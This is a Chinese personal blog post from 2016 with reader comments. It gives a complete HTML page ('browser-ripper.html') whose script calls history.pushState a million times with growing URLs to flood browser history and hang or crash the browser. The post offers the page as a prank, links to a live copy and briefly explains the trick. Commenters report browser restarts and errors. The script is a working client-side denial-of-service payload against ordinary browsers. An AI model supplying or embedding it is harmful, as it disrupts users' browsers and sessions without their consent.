EAimTY 的博客
肥宅
首页
关于
主题
如何将浏览器炸掉
Jan 27, 2016

如何将浏览器炸掉?

你可以直接打开 这个链接
或者,你也可以新建一个文件browser-ripper.html,内容如下:

<html>
  <head>
    <title>等待10秒,便可享受到飞一般的感觉</title>
  </head>
  <body>
    <h1>抓紧,要上天了!</h1>
    <script>
      var total = "";
      for (var i = 0; i<1000000; i++) {
        total = total + i.toString();
        history.pushState(0,0,total);
      }
    </script>
  </body>
</html>

然后用浏览器打开它

你真的打开它了😂?
是不是很爽?😂我们来看看原理

嗯... 大家都能看出来这是一个 JS 循环体,而重点就在于history.pushState这句。
history.pushState是什么呢?
大家可能或多或少都听说过 pjax(没错,本博客就在用),而而 pjax 中的这个“p”在某种意义上代表的就是history.pushState,这是现代浏览器普遍支持的一种添加浏览历史记录的方法。
是不是觉得豁然开朗?没错!这一段 JS 就是在向你的浏览器历史里塞进 1000000 条记录😂
(逃


本文参考了:
Cyber Security 的 Tweet

respond-post-7
明年我开会员
明年我开会员
Jan 29, 2016, 14:06

666

David Colin
Jul 31, 2017, 16:47

刚用了博主的主题,有点意思

Space520
Space520
Mar 09, 2023, 18:43

hello,你好。

watermelon
Sep 05, 2017, 12:38

大ie 对象不支持“pushState”属性或方法

Shadow
Shadow
May 20, 2018, 23:41

出乱码惹(用的Safari)

我来打酱油了
我来打酱油了
Nov 13, 2018, 16:37

可恶,我删了一百多条历史记录

啦啦啦
啦啦啦
Mar 23, 2020, 21:02

怪不得备案信息那么猖狂,原来网站不在境内。封站警告[滑稽]

miko
miko
Apr 03, 2020, 01:53

好奇心让我点了链接,,果然要重启浏览器😂

ortt
ortt
Feb 23, 2023, 22:37

edge:浏览器并没有崩, 只是报错了

Uncaught DOMException: Failed to execute 'pushState' on 'History': A history state object with URL 'file:///C:/Users/username/Desktop/0' cannot be created in a document with origin 'null' and URL 'file:///C:/Users/username/Desktop/test.html'.
    at file:///C:/Users/username/Desktop/test.html:11:17
Space520
Space520
Mar 04, 2023, 15:18

666牛逼!

添加新评论

请填写称呼
请填写合法的电子邮箱地址
请填写合法的网站地址
请填写内容